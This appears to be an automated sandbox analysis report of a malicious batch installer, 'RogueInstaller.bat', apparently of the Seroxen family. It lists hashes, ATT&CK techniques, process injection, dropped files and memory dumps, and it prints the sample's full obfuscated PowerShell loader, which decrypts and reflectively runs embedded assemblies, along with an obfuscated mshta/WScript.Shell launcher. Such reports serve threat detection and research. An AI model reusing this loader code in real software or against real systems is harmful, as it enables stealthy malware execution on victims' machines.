3b912ca8121f9c09695d1e8a4727101e02ca27541d7478b58eceafcd8895f5eb

General

Target

RogueInstaller.bat
Size

12.6MB
MD5

974d3e325c69c0a37dbfc1fb21a13779
SHA1

c368f0543fb19df47a8246517a3c90f7231d8107
SHA256

3b912ca8121f9c09695d1e8a4727101e02ca27541d7478b58eceafcd8895f5eb
SHA512

2369bf507213fe199a394ea1d98a55859077675ad93d4754450f5e61d28a8fb3fc61f0027a6e1d15a1d6ca98423b9bf4c3079a4bc38a170e0af66c09f7c9b800
SSDEEP

49152:/WQNC0mqLoyuX/cQsUX+eTTn5gwZTQ83/a0XmZJM/j4UflCm3IEvdqmzcIY12ZCl:n

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2968 created 612	2968	RogueInstaller.bat.exe	7

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 2 IoCs

pid	Process
2968	RogueInstaller.bat.exe
3624	$sxr-mshta.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2968 set thread context of 4356	2968	RogueInstaller.bat.exe	97
PID 2968 set thread context of 3468	2968	RogueInstaller.bat.exe	98

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	RogueInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	RogueInstaller.bat.exe
File created	C:\Windows\$sxr-mshta.exe	RogueInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	RogueInstaller.bat.exe
File created	C:\Windows\$sxr-cmd.exe	RogueInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	RogueInstaller.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2968	RogueInstaller.bat.exe
2968	RogueInstaller.bat.exe
2968	RogueInstaller.bat.exe
4356	dllhost.exe
4356	dllhost.exe
4356	dllhost.exe
4356	dllhost.exe
3468	dllhost.exe
3468	dllhost.exe
3468	dllhost.exe
3468	dllhost.exe
2968	RogueInstaller.bat.exe
2968	RogueInstaller.bat.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2968	RogueInstaller.bat.exe
Token: SeDebugPrivilege	2968	RogueInstaller.bat.exe
Token: SeDebugPrivilege	4356	dllhost.exe
Token: SeDebugPrivilege	3468	dllhost.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 2968	2024	cmd.exe	94
PID 2024 wrote to memory of 2968	2024	cmd.exe	94
PID 2968 wrote to memory of 4356	2968	RogueInstaller.bat.exe	97
PID 2968 wrote to memory of 4356	2968	RogueInstaller.bat.exe	97
PID 2968 wrote to memory of 4356	2968	RogueInstaller.bat.exe	97
PID 2968 wrote to memory of 4356	2968	RogueInstaller.bat.exe	97
PID 2968 wrote to memory of 4356	2968	RogueInstaller.bat.exe	97
PID 2968 wrote to memory of 4356	2968	RogueInstaller.bat.exe	97
PID 2968 wrote to memory of 4356	2968	RogueInstaller.bat.exe	97
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98
PID 2968 wrote to memory of 3468	2968	RogueInstaller.bat.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{61db3555-0ad2-4b4a-b492-d170d0b4a8ba}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4356

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RogueInstaller.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Users\Admin\AppData\Local\Temp\RogueInstaller.bat.exe
  "RogueInstaller.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function SLQQG($jpejT){ $xebJZ=[System.Security.Cryptography.Aes]::Create(); $xebJZ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xebJZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xebJZ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LfFa9xqs4536F7mxmQ+kHxVAFQg1Wcw3vUt+dlQZujk='); $xebJZ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imv8oDAGuV/n1jINlpOXIQ=='); $lBigD=$xebJZ.CreateDecryptor(); $return_var=$lBigD.TransformFinalBlock($jpejT, 0, $jpejT.Length); $lBigD.Dispose(); $xebJZ.Dispose(); $return_var;}function BVMaq($jpejT){ $kVmao=New-Object System.IO.MemoryStream(,$jpejT); $owGIg=New-Object System.IO.MemoryStream; $eVipJ=New-Object System.IO.Compression.GZipStream($kVmao, [IO.Compression.CompressionMode]::Decompress); $eVipJ.CopyTo($owGIg); $eVipJ.Dispose(); $kVmao.Dispose(); $owGIg.Dispose(); $owGIg.ToArray();}function ncnBw($jpejT,$cJltw){ $JXyVF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$jpejT); $hYCbB=$JXyVF.EntryPoint; $hYCbB.Invoke($null, $cJltw);}$orNje=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\RogueInstaller.bat').Split([Environment]::NewLine);foreach ($arpEd in $orNje) { if ($arpEd.StartsWith('SEROXEN')) { $DSsWH=$arpEd.Substring(7); break; }}$mtkze=[string[]]$DSsWH.Split('\');$YswOe=BVMaq (SLQQG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mtkze[0])));$uJPSE=BVMaq (SLQQG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mtkze[1])));ncnBw $uJPSE (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ncnBw $YswOe (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{b1c2f5c9-5934-49c8-a3dc-2a8068fef1d2}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3468

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-WsoWPUdRfZwfvzOgYSFv4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:3624
- C:\Windows\$sxr-cmd.exe
  "C:\Windows\$sxr-cmd.exe" /c %$sxr-WsoWPUdRfZwfvzOgYSFv4312:&#<?=%
  2⤵
  PID:2172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RogueInstaller.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RogueInstaller.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ggqsms0w.v3h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/2968-24-0x0000029000D70000-0x0000029000E14000-memory.dmp

Filesize
656KB

Download
memory/2968-31-0x00000290011C0000-0x00000290011CA000-memory.dmp

Filesize
40KB

Download
memory/2968-21-0x0000029061A90000-0x0000029061AA0000-memory.dmp

Filesize
64KB

Download
memory/2968-22-0x0000029000320000-0x0000029000D6E000-memory.dmp

Filesize
10.3MB

Download
memory/2968-19-0x00007FF8983F0000-0x00007FF8985E5000-memory.dmp

Filesize
2.0MB

Download
memory/2968-25-0x0000029061A90000-0x0000029061AA0000-memory.dmp

Filesize
64KB

Download
memory/2968-18-0x00007FF878BC0000-0x00007FF879681000-memory.dmp

Filesize
10.8MB

Download
memory/2968-26-0x0000029000E20000-0x0000029000E76000-memory.dmp

Filesize
344KB

Download
memory/2968-27-0x0000029000E80000-0x0000029000ED8000-memory.dmp

Filesize
352KB

Download
memory/2968-28-0x0000029000EE0000-0x0000029000F02000-memory.dmp

Filesize
136KB

Download
memory/2968-29-0x00007FF8983F0000-0x00007FF8985E5000-memory.dmp

Filesize
2.0MB

Download
memory/2968-20-0x00007FF8979D0000-0x00007FF897A8E000-memory.dmp

Filesize
760KB

Download
memory/2968-13-0x000002907A260000-0x000002907A282000-memory.dmp

Filesize
136KB

Download
memory/2968-14-0x00007FF878BC0000-0x00007FF879681000-memory.dmp

Filesize
10.8MB

Download
memory/2968-15-0x0000029061A90000-0x0000029061AA0000-memory.dmp

Filesize
64KB

Download
memory/2968-16-0x0000029061A90000-0x0000029061AA0000-memory.dmp

Filesize
64KB

Download
memory/2968-17-0x0000029000000000-0x0000029000024000-memory.dmp

Filesize
144KB

Download
memory/3468-37-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/3468-35-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4356-34-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4356-32-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download

Analysis

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